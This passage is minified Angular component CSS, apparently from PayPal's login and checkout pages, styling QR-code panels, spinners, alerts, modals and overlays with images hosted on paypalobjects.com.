rgba(0,0,0,.15);text-align:center}.qrcCanvas[_ngcontent-%COMP%]{width:180px;height:180px;left:10px;top:10px;position:absolute;text-align:center}.qrPPLogo[_ngcontent-%COMP%]{position:absolute;background-color:#fff!important;top:62px;left:83px;width:40px;height:40px;background:url(https://www.paypalobjects.com/paypal-ui/logos/svg/paypal-mark-color.svg) top center no-repeat;background-size:auto 40px}.qrList[_ngcontent-%COMP%]{list-style-type:decimal;padding-left:16px;margin-top:26px;top:190px;position:absolute;text-align:left!important}.qrcSpinnerContainer[_ngcontent-%COMP%]{position:absolute;top:2px;left:5px;width:190px;height:190px;background-color:#fff;opacity:94%;text-align:center;z-index:12}.qrcRefreshSpinner[_ngcontent-%COMP%]{position:absolute;top:80px;left:81px;color:#0070ba;background-color:#fff;opacity:94%;z-index:15;cursor:pointer;display:block;margin:0 auto 10px;text-align:center;width:30px;height:30px;box-sizing:border-box;border-left:.125rem solid #005ea6;border-right:.125rem solid #005ea6;border-bottom:.125rem solid rgba(0,0,0,0);border-top:.125rem solid #005ea6;border-radius:50px;-webkit-animation:rotation 1s infinite linear;animation:rotation 1s infinite linear}.refreshComponent[_ngcontent-%COMP%]{position:absolute;top:2px;left:5px;width:190px;height:190px;background-color:#fff;opacity:94%;text-align:center;z-index:12}.refreshIcon[_ngcontent-%COMP%]{position:absolute;top:80px;left:81px;color:#0070ba;width:30px;height:30px;background-color:#fff;background-image:url(https://www.paypalobjects.com/ice/assets/paypal/images/refresh_blue.png);background-size:30px 30px;opacity:94%;z-index:15;cursor:pointer}.refreshMessage[_ngcontent-%COMP%]{position:absolute;top:120px;left:35px;color:#0070ba;border:0;background-color:#fff;opacity:94%;z-index:15;cursor:pointer}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link{text-decoration:none}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited{text-decoration:none}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{text-decoration:none}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:active{text-decoration:none}}.contentContainerSlim[_ngcontent-%COMP%]{padding:0;margin:0;width:100%;background-color:#fff}.contentContainerExpando[_ngcontent-%COMP%]{position:fixed;top:0;right:0;bottom:0;left:0;padding:0;margin:0;width:100%;background-color:#fff}.contentContainerShort[_ngcontent-%COMP%]{margin-top:70px}.headerText[_ngcontent-%COMP%]{padding-bottom:4.72%;text-align:center;font-size:32px;font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.headerTextSpaced[_ngcontent-%COMP%]{line-height:1.4em}.headerTextDecorated[_ngcontent-%COMP%]{margin-bottom:20px;border-bottom:1px solid #cbd2d6}.slimP[_ngcontent-%COMP%]{margin:0}.spinner[_ngcontent-%COMP%], .mask[_ngcontent-%COMP%]{position:fixed;top:43%;right:0;bottom:0;left:0;z-index:9999;margin:0;text-align:center}.spinner[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{content:"";position:fixed;z-index:-1;top:0;right:0;bottom:0;left:0;background:#fff;-moz-opacity:.9;-khtml-opacity:.9;-webkit-opacity:.9;opacity:.9;-ms-filter:alpha(opacity=90);filter:alpha(opacity=90)}.lower-than-ie9[_ngcontent-%COMP%] .spinner[_ngcontent-%COMP%]:before, .lower-than-ie10[_ngcontent-%COMP%] .spinner[_ngcontent-%COMP%]:before{background:transparent url(https://www.paypalobjects.com/webstatic/checkout/hermes/icon_loader_med.gif) top center no-repeat;border:0;width:50px;height:50px}.spinnerWithLockIcon[_ngcontent-%COMP%], .mask[_ngcontent-%COMP%]{position:fixed;top:40%;right:0;bottom:0;left:13px;z-index:9998;margin:-50px 0 0;text-align:center}.lockIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/checkout/hermes/icon_ot_spin_lock_skinny.png) no-repeat center center;position:fixed;width:60px;height:50px;top:40%;left:50%;margin:-20px 0 0 -23px;z-index:9999}.nonTransparentMask[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{-moz-opacity:1;-khtml-opacity:1;-webkit-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.lower-than-ie9[_ngcontent-%COMP%] .spinnerWithLockIcon[_ngcontent-%COMP%]:before, .lower-than-ie10[_ngcontent-%COMP%] .spinnerWithLockIcon[_ngcontent-%COMP%]:before{background:transparent url(https://www.paypalobjects.com/webstatic/checkout/hermes/icon_loader_med.gif) top center no-repeat;border:0;width:50px;height:50px}.nonTransparentMask[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{-moz-opacity:1;-khtml-opacity:1;-webkit-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.oneTouchMessage[_ngcontent-%COMP%]{width:300px;margin:0 auto}.secureMessage[_ngcontent-%COMP%]{font-size:17.5px}.keychainOneTouchMessage[_ngcontent-%COMP%]{width:300px;margin:0 auto}.transformRightToLeft[_ngcontent-%COMP%]{-webkit-animation:rightToLeft .25s ease;animation:rightToLeft .25s ease}.secondaryLink[_ngcontent-%COMP%]{margin:20px 0 0;text-align:center}.iconSprite[_ngcontent-%COMP%], .iconSpritePseudo[_ngcontent-%COMP%]:before{background:url(https://www.paypalobjects.com/images/shared/icon-sprite2-2x.png) no-repeat;background-size:20px}.lower-than-ie9[_ngcontent-%COMP%] .iconSprite[_ngcontent-%COMP%], .lower-than-ie9[_ngcontent-%COMP%] .iconSpritePseudo[_ngcontent-%COMP%]:before{background-image:url(https://www.paypalobjects.com/images/shared/icon-sprite2-1x.png)}.iconSpritePseudo[_ngcontent-%COMP%]:before{content:""}.lastInputField[_ngcontent-%COMP%]{margin-bottom:0}.reassure[_ngcontent-%COMP%]{margin-top:20px;font-size:13px;color:#6c7378;line-height:1.3em}.leadIn[_ngcontent-%COMP%]{line-height:20px;font-family:pp-sans-big-medium,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.contentAlignment[_ngcontent-%COMP%]{text-align:center}.leftContentAlignment[_ngcontent-%COMP%]{text-align:left}.headerTextWarning[_ngcontent-%COMP%]{padding-top:130px;background:url(https://www.paypalobjects.com/images/shared/lg-attention-warning.png) no-repeat top center;background-size:100px}.hide[_ngcontent-%COMP%]{display:none!important}.invisible[_ngcontent-%COMP%]{opacity:0;position:absolute;z-index:-9999}.hide.enable-autofill[_ngcontent-%COMP%]{opacity:0;position:absolute;z-index:-9999;display:block!important}.buzzword[_ngcontent-%COMP%]{display:inline-block}.headerTextSuccess[_ngcontent-%COMP%]{margin-top:0;padding-top:130px;padding-bottom:15px;background:url(https://www.paypalobjects.com/images/shared/successCheckmark2x.png) no-repeat top center;background-size:100px}.lower-than-ie9[_ngcontent-%COMP%] .headerTextSuccess[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/images/shared/successCheckmark.png)}.successRedirectText[_ngcontent-%COMP%]{font-size:18px;margin-top:20px}.headerlessList[_ngcontent-%COMP%]{margin:0 0 0 16px}.headerlessList[_ngcontent-%COMP%] > li[_ngcontent-%COMP%]{margin-bottom:20px;padding-left:4px}.deviceIconDesktop[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/onetouch-desktop.png) no-repeat top center;padding-top:106px}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.deviceIconDesktop[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/onetouch-desktop_2x.png) no-repeat top center;background-size:129px}}.deviceIconMobile[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/onetouch-mobile.png) no-repeat top center;padding-top:126px}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.deviceIconMobile[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/onetouch-mobile_2x.png) no-repeat top center;background-size:70px}}.bodyTextOneTouchInterstitial[_ngcontent-%COMP%]{margin:0 0 15px;color:#6c7378;text-align:center;line-height:20px}.subHeaderText[_ngcontent-%COMP%]{margin:0 0 7.08%;color:#2c2e2f;text-align:center;font-size:16px}@media all and (min-device-width: 320px) and (max-device-width: 568px){.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%]{margin-top:15px;padding:0 12px 20px}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon[_ngcontent-%COMP%]{margin-right:12px;margin-bottom:-1px}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-headline[_ngcontent-%COMP%], .oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-description[_ngcontent-%COMP%]{font-size:14px}.oneTouchRm[_ngcontent-%COMP%] .contentContainer[_ngcontent-%COMP%]{margin-top:0;padding:0}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-top:20px;margin-bottom:10px}.oneTouchRm[_ngcontent-%COMP%] .oneTouchNotYou[_ngcontent-%COMP%]{margin:15px 15px 10px 5px}.oneTouchRm[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:20px;margin-top:12px;padding-bottom:12px}.oneTouchRm[_ngcontent-%COMP%] .reassure[_ngcontent-%COMP%]{margin:12px 0;font-size:12px}.oneTouchRm[_ngcontent-%COMP%] .actionsSpacedShort[_ngcontent-%COMP%]{margin-top:12px}}@media all and (min-device-width: 375px) and (max-device-width: 736px){.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%]{margin-top:35px;padding:0 24px 20px;width:100%;background-color:#fff}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon[_ngcontent-%COMP%]{margin-right:24px;margin-bottom:0}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-headline[_ngcontent-%COMP%], .oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-description[_ngcontent-%COMP%]{font-size:15px}.oneTouchRm[_ngcontent-%COMP%] .contentContainer[_ngcontent-%COMP%]{margin-top:0;padding:0}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%]{display:table;width:100%;border-bottom:1px solid #ececec}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:20px}.oneTouchRm[_ngcontent-%COMP%] .oneTouchNotYou[_ngcontent-%COMP%]{margin:24px 15px -10px 5px}.oneTouchRm[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:22px}.oneTouchRm[_ngcontent-%COMP%] .reassure[_ngcontent-%COMP%]{margin:15px 0;font-size:13px}.oneTouchRm[_ngcontent-%COMP%] .actionsSpacedShort[_ngcontent-%COMP%]{margin-top:24px}}@media all and (min-width: 450px) and (max-width: 570px){.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%]{margin-top:15px;padding:0 6% 50px;width:100%;background-color:#fff}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%]{padding:0 15px}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%]{padding:7px 0}.oneTouchRm[_ngcontent-%COMP%] .rmInterstitial[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-description[_ngcontent-%COMP%]{padding-top:0}.oneTouchRm[_ngcontent-%COMP%] .contentContainer[_ngcontent-%COMP%]{margin-top:0;padding:0}.oneTouchRm[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:24px;margin-top:0;padding-bottom:10px}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%]{display:table;width:100%;border-bottom:1px solid #ececec}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-top:18px;margin-bottom:18px}.oneTouchRm[_ngcontent-%COMP%] .oneTouchNotYou[_ngcontent-%COMP%]{margin:24px 24px 20px 5px}.oneTouchRm[_ngcontent-%COMP%] .reassure[_ngcontent-%COMP%]{margin:12px 0}}@media all and (min-width: 450px) and (max-width: 860px){.contentContainerQR[_ngcontent-%COMP%]{border:1px solid #eaeced}}@media all and (max-width: 767px){.contentContainerBordered[_ngcontent-%COMP%]{border:0;margin:0 auto;padding:0 8% 30px;width:100%;background-color:#fff}.contentContainer[_ngcontent-%COMP%]{padding:4.8%;width:100%;background-color:#fff}.contentContainerSlim[_ngcontent-%COMP%]{margin-top:0;padding:0}.contentContainerExpando[_ngcontent-%COMP%]{margin:0}.corral[_ngcontent-%COMP%]{width:100%}.headerText[_ngcontent-%COMP%]{padding-bottom:16px}.headerTextDecorated[_ngcontent-%COMP%]{margin-bottom:10px}.paypal-logo-with-headline[_ngcontent-%COMP%]{margin-bottom:10px}.paypal-logo[_ngcontent-%COMP%]{margin:0 auto 7.08%}.signin-paypal-logo[_ngcontent-%COMP%]{margin:0 auto 14.163%}.reassure[_ngcontent-%COMP%]{line-height:16px}.mainSlim[_ngcontent-%COMP%]{margin:0}}.challengeAnswer[_ngcontent-%COMP%]{font-size:48px;letter-spacing:9px;margin-top:52px;height:48px}.pin[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:30px}.scrollableWindow[_ngcontent-%COMP%]{height:100vh;overflow:auto}.notificationAlert[_ngcontent-%COMP%]{border-radius:5px;border:1px solid #ff9600;display:table;font-size:15px;line-height:1.4;margin-bottom:5px;margin-top:12px;padding:14px;text-align:left;width:100%}.notificationAlert.hide[_ngcontent-%COMP%]{display:none}.notificationAlert[_ngcontent-%COMP%]:before{color:#ff9600;content:"\\2762";display:inline;font-family:paypal-vx-icons;font-weight:700;font-size:1.58rem;line-height:0;padding-right:12px}.successAlert[_ngcontent-%COMP%]{border-radius:5px;border:1px solid #00cf92;display:table;font-size:15px;line-height:1.4;margin-bottom:5px;margin-top:12px;padding:14px;text-align:left;width:100%}.successAlert.hide[_ngcontent-%COMP%]{display:none}.successAlert[_ngcontent-%COMP%]:before{color:#00cf92;content:"\\2713";display:inline;font-family:paypal-vx-icons;font-weight:700;font-size:1.58rem;line-height:0;padding-right:12px}.animatedHeaderIconSuccess[_ngcontent-%COMP%]{margin-top:0;width:100%;height:100px;margin-bottom:20px;background:url(https://www.paypalobjects.com/images/shared/success-animation.gif) no-repeat top center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.animatedHeaderIconSuccess[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/success-animation_2x.gif) no-repeat top center;background-size:100px}}.greyOut[_ngcontent-%COMP%], a.greyOut[_ngcontent-%COMP%]:hover, a.greyOut[_ngcontent-%COMP%]:link, a.greyOut[_ngcontent-%COMP%]:visited, a.greyOut[_ngcontent-%COMP%]:focus{color:#ddd}.greyBackground[_ngcontent-%COMP%]{background-color:#ddd}button.greyBackground[_ngcontent-%COMP%]:hover, button.greyBackground[_ngcontent-%COMP%]:focus{background-color:#ddd}.pwr-modal[_ngcontent-%COMP%]{display:none;background:#fff;width:480px;height:auto;position:fixed;padding:18px 40px 20px;top:50%;left:50%;transform:translate(-50%,-50%);opacity:0;transition:opacity 1s;transition-timing-function:cubic-bezier(0,2.5,.25,-.25);z-index:100;border-radius:10px}.pwr-modal[_ngcontent-%COMP%] iframe[_ngcontent-%COMP%]{border:0;width:100%;min-height:310px}.lower-than-ie10[_ngcontent-%COMP%] .pwr-modal[_ngcontent-%COMP%]{margin-left:-240px;margin-top:-150px}.modal-underlay[_ngcontent-%COMP%]{height:100%;width:100%;position:fixed;top:0;left:0;z-index:10;opacity:0;background-color:#000;transition:opacity 1s}.ui-dialog-titlebar-close[_ngcontent-%COMP%]{cursor:pointer;position:absolute;border:0;background:0 0;right:20px;top:20px;width:14px;height:14px;background:transparent url(https://www.paypalobjects.com/images/shared/icon-x.png) center center no-repeat}.monogram-small[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/monogram-small@2x.png) center center no-repeat;background-size:100%;margin:20px auto;height:24px;width:20px}.mobile[_ngcontent-%COMP%] .pwr-modal[_ngcontent-%COMP%]{width:100%;padding:0}.spinner[_ngcontent-%COMP%], .mask[_ngcontent-%COMP%]{position:fixed;top:43%;right:0;bottom:0;left:0;z-index:9999;margin:0;text-align:center}.spinner[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{content:"";position:fixed;z-index:-1;top:0;right:0;bottom:0;left:0;background:#fff;-moz-opacity:.9;-khtml-opacity:.9;-webkit-opacity:.9;opacity:.9;-ms-filter:alpha(opacity=90);filter:alpha(opacity=90)}.spinner[_ngcontent-%COMP%]:before{content:"";display:block;margin:0 auto 10px;text-align:center;width:34px;height:34px;border-left:8px solid #000;border-left:8px solid rgba(0,0,0,.2);border-right:8px solid #000;border-right:8px solid rgba(0,0,0,.2);border-bottom:8px solid #000;border-bottom:8px solid rgba(0,0,0,.2);border-top:8px solid #2180c0;border-radius:50px;-webkit-animation:rotation .7s infinite linear;animation:rotation .7s infinite linear}.lower-than-ie9[_ngcontent-%COMP%] .spinner[_ngcontent-%COMP%]:before, .lower-than-ie10[_ngcontent-%COMP%] .spinner[_ngcontent-%COMP%]:before{background:transparent url(https://www.paypalobjects.com/webstatic/checkout/hermes/icon_loader_med.gif) top center no-repeat;border:0;width:50px;height:50px}.spinnerWithLockIcon[_ngcontent-%COMP%], .mask[_ngcontent-%COMP%]{position:fixed;top:40%;right:0;bottom:0;left:0;z-index:9998;margin:-50px 0 0;text-align:center}.spinnerWithLockIcon[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{content:"";position:fixed;z-index:-1;top:0;right:0;bottom:0;left:0;background:#fff;-moz-opacity:.9;-khtml-opacity:.9;-webkit-opacity:.9;opacity:.9;-ms-filter:alpha(opacity=90);filter:alpha(opacity=90)}.lockIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/checkout/hermes/icon_ot_spin_lock_skinny.png) no-repeat center center;position:fixed;width:60px;height:50px;top:40%;left:50%;margin:-20px 0 0 -30px;z-index:9999}.nonTransparentMask[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{-moz-opacity:1!important;-khtml-opacity:1!important;-webkit-opacity:1!important;opacity:1!important;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100)!important;filter:alpha(opacity=100)!important}.spinnerWithLockIcon[_ngcontent-%COMP%]:before{content:"";display:block;margin:0 auto 10px;text-align:center;width:100px;height:100px;border-left:5px solid #000;border-left:5px solid rgba(0,0,0,.2);border-right:5px solid #000;border-right:5px solid rgba(0,0,0,.2);border-bottom:5px solid #000;border-bottom:5px solid rgba(0,0,0,.2);border-top:5px solid #2180c0;border-radius:100%;-webkit-animation:rotation .7s infinite linear;animation:rotation .7s infinite linear}.lower-than-ie9[_ngcontent-%COMP%] .spinnerWithLockIcon[_ngcontent-%COMP%]:before, .lower-than-ie10[_ngcontent-%COMP%] .spinnerWithLockIcon[_ngcontent-%COMP%]:before{background:transparent url(https://www.paypalobjects.com/webstatic/checkout/hermes/icon_loader_med.gif) top center no-repeat;border:0;width:50px;height:50px}div.indie-spinner[_ngcontent-%COMP%]{display:block;width:50px;height:50px}div.indie-spinner[_ngcontent-%COMP%]:before{display:block;content:"";width:90%;height:90%;border-left-color:rgba(0,0,0,.2);border-right-color:rgba(0,0,0,.2);border-bottom-color:rgba(0,0,0,.2);border-top-color:#2180c0;border-style:solid;border-width:3px;border-radius:50%;-webkit-animation:rotation .7s infinite linear;animation:rotation .7s infinite linear}div.indie-spinner.withLockIcon[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/images/checkout/hermes/icon_ot_spin_lock_skinny.png);background-repeat:no-repeat;background-size:45%;background-position:50% 50%}.qrcSpinner[_ngcontent-%COMP%], .mask[_ngcontent-%COMP%]{position:fixed;top:43%;right:0;bottom:0;left:0;z-index:9999;margin:0;text-align:center}.qrcSpinner[_ngcontent-%COMP%]:after, .mask[_ngcontent-%COMP%]:after{content:"";position:fixed;z-index:-1;top:0;right:0;bottom:0;left:0;background:#fff;-moz-opacity:.8;-khtml-opacity:.8;-webkit-opacity:.8;opacity:.8;-ms-filter:alpha(opacity=80);filter:alpha(opacity=80)}.mask[_ngcontent-%COMP%]:after{-moz-opacity:1;-khtml-opacity:1;-webkit-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.qrcSpinner[_ngcontent-%COMP%]:before{content:"";display:block;margin:0 auto 10px;text-align:center;width:90px;height:90px;box-sizing:border-box;border-left:.125rem solid #005ea6;border-right:.125rem solid #005ea6;border-bottom:.125rem solid rgba(0,0,0,0);border-top:.125rem solid #005ea6;border-radius:50px;-webkit-animation:rotation 1s infinite linear;animation:rotation 1s infinite linear}.lower-than-ie9[_ngcontent-%COMP%] .qrcSpinner[_ngcontent-%COMP%]:before, .lower-than-ie10[_ngcontent-%COMP%] .qrcSpinner[_ngcontent-%COMP%]:before{background:transparent url(https://www.paypalobjects.com/webstatic/checkout/hermes/icon_loader_med.gif) top center no-repeat;border:0;width:50px;height:50px}.spinner[_ngcontent-%COMP%] .welcomeMessage[_ngcontent-%COMP%]{font-size:17.5px}.spinner[_ngcontent-%COMP%] .udtSpinnerMessage[_ngcontent-%COMP%]{width:300px;margin:1% auto}header.logo-with-cart[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%]{display:table;width:100%;margin:0 auto 20px}header.logo-with-cart[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin:0;padding:0;display:table-cell}header.logo-with-cart[_ngcontent-%COMP%] .cartWrapper[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .cartWrapper[_ngcontent-%COMP%], header.logo-with-cart[_ngcontent-%COMP%] .callToActionWrapper[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .callToActionWrapper[_ngcontent-%COMP%]{text-align:right;display:table-cell;overflow:auto}header.logo-with-cart[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%], header.logo-with-cart[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%]{float:right;z-index:1;padding:8px 0 0;margin-bottom:0;border-bottom:0;box-sizing:border-box;font-size:1em;font-weight:700;text-align:right;color:#2c2e2f;text-shadow:1px 1px 1px #fff;background-size:24px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}header.logo-with-cart[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%], header.logo-with-cart[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%]{display:inline-block;width:15px;height:14px;margin-right:10px;background:url(https://www.paypalobjects.com/images/checkout/hermes/hermes_window_sprite_v16.png) no-repeat 0 0}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){header.logo-with-cart[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%], header.logo-with-cart[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%] .cartIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/checkout/hermes/hermes_window_sprite_v16_2x.png) no-repeat 0 0;background-size:250px}}header.logo-with-cart[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .callToAction[_ngcontent-%COMP%]{padding:0}header.logo-with-cart[_ngcontent-%COMP%] .ltrDisplay[_ngcontent-%COMP%], header.logo-with-cta-button[_ngcontent-%COMP%] .ltrDisplay[_ngcontent-%COMP%]{direction:ltr!important;unicode-bidi:bidi-override!important}.merchantName[_ngcontent-%COMP%]{position:absolute;left:0;top:-30px;margin:0;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:600;width:75%;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.headerTextWithSeparator[_ngcontent-%COMP%]{border-top:1px solid #cbd2d6;padding-top:20px}.headerTextWithoutSeparator[_ngcontent-%COMP%]{padding-top:20px}@media all and (max-width: 767px){.headerTextWithoutSeparator[_ngcontent-%COMP%]{padding-top:0}.merchantName[_ngcontent-%COMP%]{display:none}}.eConsent[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{padding:0 0 10px;text-align:left;font-size:24px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.paraBelowHeading[_ngcontent-%COMP%]{margin:0;font-size:15px;padding:0 0 15px}.errorCheckboxMessage[_ngcontent-%COMP%]{background-color:#c72e2e;border-radius:5px;color:#fff;padding:7px;position:absolute;z-index:2;font-size:.8em;top:35px;left:0}.overlayMask[_ngcontent-%COMP%]{opacity:.75;background:#000;z-index:15000;position:fixed;top:0;bottom:0;left:0;right:0}.overlayContainer[_ngcontent-%COMP%]{width:100%;padding-right:24px;padding-left:24px;z-index:20000;text-align:center;bottom:0;position:fixed}.overlayLogoContainer[_ngcontent-%COMP%]{position:relative;top:54px}.overlayLogo[_ngcontent-%COMP%]{margin:auto;width:84px;padding:6px;background:#fff;border-radius:50%}.overlayContentContainer[_ngcontent-%COMP%]{border-radius:5px 5px 0 0;background:#fff;padding:54px 24px 44px;line-height:24px}.overlayClose[_ngcontent-%COMP%]{position:absolute;top:90px;right:30px;width:25px;height:25px;border:0;background:#fff}.overlayHeading[_ngcontent-%COMP%]{font-size:15px;margin-top:6px;margin-bottom:16px}.overlayOptIn[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{border-radius:18px;background:#0070ba;min-height:36px;color:#fff;font-size:13px;line-height:18px}.overlayDisclaimer[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin-top:12px;margin-bottom:16px;color:#2c2e2f;font-size:13px;line-height:18px}.overlaySeparator[_ngcontent-%COMP%]{border-top:1px solid #cbd2d6}.overlayDetails[_ngcontent-%COMP%]{padding-top:8px}.overlayDetails[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{text-align:left;color:#2c2e2f;font-size:13px;line-height:18px}.overlayDetailsToggle[_ngcontent-%COMP%]{color:#0070ba;font-size:15px;font-weight:500;line-height:24px}.overlaySlideUp[_ngcontent-%COMP%]{overflow:hidden;max-height:0;padding-top:0;padding-bottom:0;margin-top:0;margin-bottom:0;transition-duration:.25s;transition-timing-function:cubic-bezier(0,1,.25,1)}.overlaySlideDown[_ngcontent-%COMP%]{transition-duration:.35s;transition-timing-function:ease-in;max-height:750px;overflow:hidden}.overlaySpinnerPayPal[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/paypal_circular@3x.png) top center no-repeat;background-size:72px;height:72px}.overlaySpinnerSuccessPayPal[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/paypal_spinner_success_check@3x.gif) top center no-repeat;background-size:72px;height:72px}.overlaySpinnerCart[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/cart_circular@3x.png) top center no-repeat;background-size:72px;height:72px}.overlaySpinnerSuccessCart[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/cart_spinner_success_check@3x.gif) top center no-repeat;background-size:72px;height:72px}.overlaySpinnerFingerprint[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/blue_fingerprint@3x.png) top center 